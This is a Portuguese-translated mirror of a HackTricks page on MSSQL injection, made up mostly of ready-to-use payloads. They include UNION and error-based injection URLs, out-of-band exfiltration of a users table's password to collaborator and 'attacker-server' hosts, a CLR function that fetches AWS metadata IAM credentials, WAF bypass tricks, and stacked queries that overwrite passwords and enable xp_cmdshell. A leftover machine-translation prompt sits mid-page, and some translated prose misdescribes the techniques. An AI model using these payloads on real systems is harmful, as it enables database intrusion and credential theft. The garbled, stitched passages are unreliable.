mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-28 05:53:52 +00:00
278 lines
20 KiB
Markdown
278 lines
20 KiB
Markdown
# Injeção MSSQL
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Enumeração do Active Directory
|
|
|
|
Pode ser possível **enumerar usuários de domínio via injeção SQL dentro de um servidor MSSQL** usando as seguintes funções MSSQL:
|
|
|
|
* **`SELECT DEFAULT_DOMAIN()`**: Obter o nome de domínio atual.
|
|
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMÍNIO\Administrador'))`**: Se você conhece o nome do domínio (_DOMÍNIO_ neste exemplo), esta função retornará o **SID do usuário Administrador** no formato hexadecimal. Isso parecerá `0x01050000000[...]0000f401`, observe como os **últimos 4 bytes** são o número **500** no formato **big endian**, que é o **ID comum do usuário administrador**.\
|
|
Esta função permitirá que você **conheça o ID do domínio** (todos os bytes, exceto os últimos 4).
|
|
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Esta função retornará o **nome de usuário do ID indicado** (se houver), neste caso **0000e803** em big endian == **1000** (geralmente este é o ID do primeiro usuário regular criado). Então você pode imaginar que pode forçar bruta IDs de usuário de 1000 a 2000 e provavelmente obter todos os nomes de usuário dos usuários do domínio. Por exemplo, usando uma função como a seguinte:
|
|
```python
|
|
def get_sid(n):
|
|
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
|
|
user = struct.pack('<I', int(n))
|
|
user = user.hex()
|
|
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
|
|
```
|
|
## **Vectores baseados em erros alternativos**
|
|
|
|
As injeções de SQL baseadas em erros geralmente se assemelham a construções como `+AND+1=@@version--` e variantes baseadas no operador «OR». Consultas contendo tais expressões geralmente são bloqueadas por WAFs. Como uma forma de contornar isso, concatene uma string usando o caractere %2b com o resultado de chamadas de função específicas que disparam um erro de conversão de tipo de dados nos dados desejados.
|
|
|
|
Alguns exemplos de tais funções:
|
|
|
|
* `SUSER_NAME()`
|
|
* `USER_NAME()`
|
|
* `PERMISSIONS()`
|
|
* `DB_NAME()`
|
|
* `FILE_NAME()`
|
|
* `TYPE_NAME()`
|
|
* `COL_NAME()`
|
|
|
|
Exemplo de uso da função `USER_NAME()`:
|
|
```
|
|
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
|
|
```
|
|
|
|
|
|
## SSRF
|
|
|
|
### `fn_xe_file_target_read_file`
|
|
|
|
A técnica de Injeção de SQL no Microsoft SQL Server (MSSQL) é uma vulnerabilidade comum que permite que um invasor execute comandos SQL não autorizados no banco de dados. Essa vulnerabilidade ocorre quando os dados fornecidos pelo usuário não são devidamente validados ou escapados antes de serem usados em consultas SQL.
|
|
|
|
Uma das funções do MSSQL que pode ser explorada para realizar uma injeção de SQL é a `fn_xe_file_target_read_file`. Essa função é usada para ler o conteúdo de um arquivo em um caminho específico. No entanto, se os parâmetros dessa função não forem devidamente validados, um invasor pode fornecer um caminho malicioso que permita a leitura de arquivos sensíveis do sistema.
|
|
|
|
Para explorar essa vulnerabilidade, um invasor pode fornecer um caminho de arquivo malicioso como parâmetro para a função `fn_xe_file_target_read_file`. Isso pode permitir que o invasor leia arquivos confidenciais, como arquivos de configuração do banco de dados, credenciais de usuário ou outros dados sensíveis armazenados no sistema.
|
|
|
|
É importante que os desenvolvedores implementem medidas de segurança adequadas, como a validação e a sanitização dos dados fornecidos pelo usuário, para evitar a ocorrência de injeções de SQL. Além disso, é recomendável manter o software e os sistemas atualizados com as últimas correções de segurança para mitigar o risco de exploração dessa vulnerabilidade.
|
|
```
|
|
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
|
|
```
|
|
|
|
|
|
**Permissões:** Requer permissão **`VIEW SERVER STATE`** no servidor.
|
|
```sql
|
|
# Check if you have it
|
|
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
|
|
# Or doing
|
|
Use master;
|
|
EXEC sp_helprotect 'fn_xe_file_target_read_file';
|
|
```
|
|
### `fn_get_audit_file`
|
|
|
|
A função `fn_get_audit_file` é uma função específica do Microsoft SQL Server que permite aos usuários obter informações de auditoria de um arquivo específico. Essa função é comumente usada para fins de monitoramento e análise de segurança.
|
|
|
|
No entanto, é importante ter cuidado ao usar essa função, pois ela pode ser vulnerável a ataques de injeção de SQL. Os invasores podem explorar essa vulnerabilidade para executar comandos maliciosos no banco de dados, comprometendo a integridade e a confidencialidade dos dados.
|
|
|
|
Para evitar ataques de injeção de SQL, é recomendado validar e sanitizar todas as entradas de dados antes de passá-las para a função `fn_get_audit_file`. Isso pode ser feito por meio de técnicas como a utilização de parâmetros parametrizados ou a implementação de filtros de entrada adequados.
|
|
|
|
Além disso, é importante manter o Microsoft SQL Server atualizado com as últimas correções de segurança e seguir as práticas recomendadas de segurança, como a aplicação de princípios de privilégio mínimo e a restrição de acesso aos objetos do banco de dados.
|
|
|
|
Ao tomar essas precauções, é possível utilizar a função `fn_get_audit_file` de forma segura e eficaz, aproveitando seus recursos de auditoria sem comprometer a segurança do sistema.
|
|
```
|
|
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
|
|
```
|
|
|
|
|
|
**Permissões:** Requer a permissão **`CONTROL SERVER`**.
|
|
```sql
|
|
# Check if you have it
|
|
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
|
|
# Or doing
|
|
Use master;
|
|
EXEC sp_helprotect 'fn_get_audit_file';
|
|
```
|
|
### `fn_trace_gettabe`
|
|
|
|
A função `fn_trace_gettabe` é uma função interna do Microsoft SQL Server que é usada para obter informações de rastreamento de eventos. Essa função retorna uma tabela temporária que contém os dados de rastreamento de eventos capturados pelo SQL Server Profiler.
|
|
|
|
Essa função pode ser explorada em um ataque de injeção de SQL para obter informações sensíveis do banco de dados. Os invasores podem usar consultas maliciosas para manipular os parâmetros da função e obter acesso não autorizado aos dados do banco de dados.
|
|
|
|
Para proteger contra ataques de injeção de SQL que visam a função `fn_trace_gettabe`, é importante implementar práticas de segurança, como a validação adequada dos dados de entrada e o uso de consultas parametrizadas. Além disso, é recomendável manter o SQL Server atualizado com as últimas correções de segurança para mitigar possíveis vulnerabilidades.
|
|
```
|
|
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
|
|
```
|
|
|
|
|
|
**Permissões:** Requer a permissão **`CONTROL SERVER`**.
|
|
```sql
|
|
# Check if you have it
|
|
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
|
|
# Or doing
|
|
Use master;
|
|
EXEC sp_helprotect 'fn_trace_gettabe';
|
|
```
|
|
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
|
|
|
|
O método mais comum para fazer uma chamada de rede que você encontrará usando o MSSQL é o uso do Stored Procedure `xp_dirtree`, que estranhamente não é documentado pela Microsoft, o que fez com que ele fosse [documentado por outras pessoas na Internet](https://www.baronsoftware.com/Blog/sql-stored-procedures-get-folder-files/). Este método tem sido usado em [vários exemplos](https://www.notsosecure.com/oob-exploitation-cheatsheet/) de posts de [exfiltração de dados fora de banda](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/) na Internet.
|
|
|
|
Essencialmente,
|
|
```sql
|
|
DECLARE @user varchar(100);
|
|
SELECT @user = (SELECT user);
|
|
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
|
|
```
|
|
Assim como o `LOAD_FILE` do MySQL, você pode usar o `xp_dirtree` para fazer uma solicitação de rede apenas para a porta TCP 445. Você não pode controlar o número da porta, mas pode ler informações de compartilhamentos de rede.
|
|
|
|
PS: Isso não funciona no Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) em execução em um Windows Server 2016 Datacenter na configuração padrão.
|
|
|
|
Existem outros procedimentos armazenados, como o `master..xp_fileexist` ou `xp_subdirs`, que podem ser usados para resultados semelhantes.
|
|
|
|
### `xp_cmdshell`
|
|
|
|
Obviamente, você também pode usar o `xp_cmdshell` para executar algo que acione um SSRF. Para mais informações, leia a seção relevante na página:
|
|
|
|
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
|
|
|
|
### Função Definida pelo Usuário MSSQL - SQLHttp
|
|
|
|
É bastante simples escrever uma UDF CLR (Função Definida pelo Usuário em Tempo de Execução Comum - código escrito em qualquer uma das linguagens .NET e compilado em um DLL) e carregá-la no MSSQL para funções personalizadas. No entanto, isso requer acesso `dbo`, portanto, pode não funcionar a menos que a conexão do aplicativo da web ao banco de dados seja como `sa` ou uma função de Administrador.
|
|
|
|
[Este repositório do Github possui o projeto do Visual Studio e as instruções de instalação](https://github.com/infiniteloopltd/SQLHttp) para carregar o binário no MSSQL como uma montagem CLR e, em seguida, invocar solicitações GET HTTP de dentro do MSSQL.
|
|
|
|
[O código `http.cs` usa a classe `WebClient` para fazer uma solicitação GET e buscar o conteúdo](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) conforme especificado.
|
|
```csharp
|
|
using System.Data.SqlTypes;
|
|
using System.Net;
|
|
|
|
public partial class UserDefinedFunctions
|
|
{
|
|
[Microsoft.SqlServer.Server.SqlFunction]
|
|
public static SqlString http(SqlString url)
|
|
{
|
|
var wc = new WebClient();
|
|
var html = wc.DownloadString(url.Value);
|
|
return new SqlString (html);
|
|
}
|
|
}
|
|
```
|
|
Nas instruções de instalação, execute o seguinte antes da consulta `CREATE ASSEMBLY` para adicionar o hash SHA512 da montagem à lista de assemblies confiáveis no servidor (você pode ver a lista usando `select * from sys.trusted_assemblies;`)
|
|
```sql
|
|
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
|
|
```
|
|
Uma vez que a montagem é adicionada e a função criada, podemos executar o seguinte para fazer nossas solicitações HTTP.
|
|
```sql
|
|
DECLARE @url varchar(max);
|
|
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
|
|
SELECT dbo.http(@url);
|
|
```
|
|
|
|
|
|
## **Exploração rápida: Recuperar uma tabela inteira em uma única consulta**
|
|
|
|
Existem duas maneiras simples de recuperar todo o conteúdo de uma tabela em uma única consulta - o uso da cláusula FOR XML ou da cláusula FOR JSON. A cláusula FOR XML requer um modo especificado, como "raw", então em termos de brevidade, FOR JSON supera isso.
|
|
|
|
A consulta para recuperar o esquema, tabelas e colunas do banco de dados atual:
|
|
```
|
|
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
|
|
```
|
|
|
|
|
|
As vetores baseados em erros precisam de um alias ou um nome, pois a saída de expressões sem eles não pode ser formatada como JSON.
|
|
```
|
|
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
|
|
```
|
|
|
|
|
|
## **Recuperando a consulta atual**
|
|
|
|
A consulta SQL atual sendo executada pode ser recuperada do acesso `sys.dm_exec_requests` e `sys.dm_exec_sql_text`:
|
|
```
|
|
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
|
|
```
|
|
|
|
|
|
**Permissões:** Se o usuário tiver permissão VIEW SERVER STATE no servidor, o usuário verá todas as sessões em execução na instância do SQL Server; caso contrário, o usuário verá apenas a sessão atual.
|
|
```sql
|
|
# Check if you have it
|
|
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
|
|
```
|
|
## **Pequenos truques para contornar o WAF**
|
|
|
|
Caracteres de espaço em branco não padrão: %C2%85 ou %C2%A0:
|
|
```
|
|
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
|
|
```
|
|
Notação científica (0e) e notação hexadecimal (0x) para ofuscar UNION:
|
|
```
|
|
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
|
|
|
|
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
|
|
```
|
|
Um ponto em vez de um espaço em branco entre FROM e o nome da coluna:
|
|
```
|
|
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
|
|
```
|
|
\N separador entre SELECT e uma coluna descartável:
|
|
```
|
|
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
|
|
```
|
|
### Bypassando WAF com consultas empilhadas não convencionais
|
|
|
|
De acordo com [**este post de blog**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/), é possível empilhar consultas no MSSQL sem usar ";":
|
|
|
|
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Portanto, por exemplo, várias consultas como:
|
|
```sql
|
|
use [tempdb]
|
|
create table [test] ([id] int)
|
|
insert [test] values(1)
|
|
select [id] from [test]
|
|
drop table[test]
|
|
```
|
|
O seguinte é o conteúdo de um livro de hacking sobre técnicas de hacking. O seguinte conteúdo é do arquivo pentesting-web/sql-injection/mssql-injection.md. Traduza o texto em inglês relevante para o português e retorne a tradução mantendo exatamente a mesma sintaxe de markdown e html. Não traduza coisas como código, nomes de técnicas de hacking, palavras de hacking, nomes de plataformas de nuvem/SaaS (como Workspace, aws, gcp...), a palavra 'leak', pentesting e tags de markdown. Também não adicione nada além da tradução e da sintaxe de markdown.
|
|
```sql
|
|
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
|
|
```
|
|
Portanto, é possível contornar diferentes WAFs que não consideram essa forma de empilhamento de consultas. Por exemplo:
|
|
```
|
|
# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
|
|
admina'union select 1,'admin','testtest123'exec('select 1')--
|
|
## This will be:
|
|
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
|
|
exec('select 1')--'
|
|
|
|
# Using weirdly built queries
|
|
admin'exec('update[users]set[password]=''a''')--
|
|
## This will be:
|
|
SELECT id, username, password FROM users WHERE username = 'admin'
|
|
exec('update[users]set[password]=''a''')--'
|
|
|
|
# Or enabling xp_cmdshell
|
|
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
|
|
## This will be
|
|
select * from users where username = ' admin'
|
|
exec('sp_configure''show advanced option'',''1''reconfigure')
|
|
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
|
|
```
|
|
## Referências
|
|
|
|
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
|
* [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#MSSQL](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#MSSQL)
|
|
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|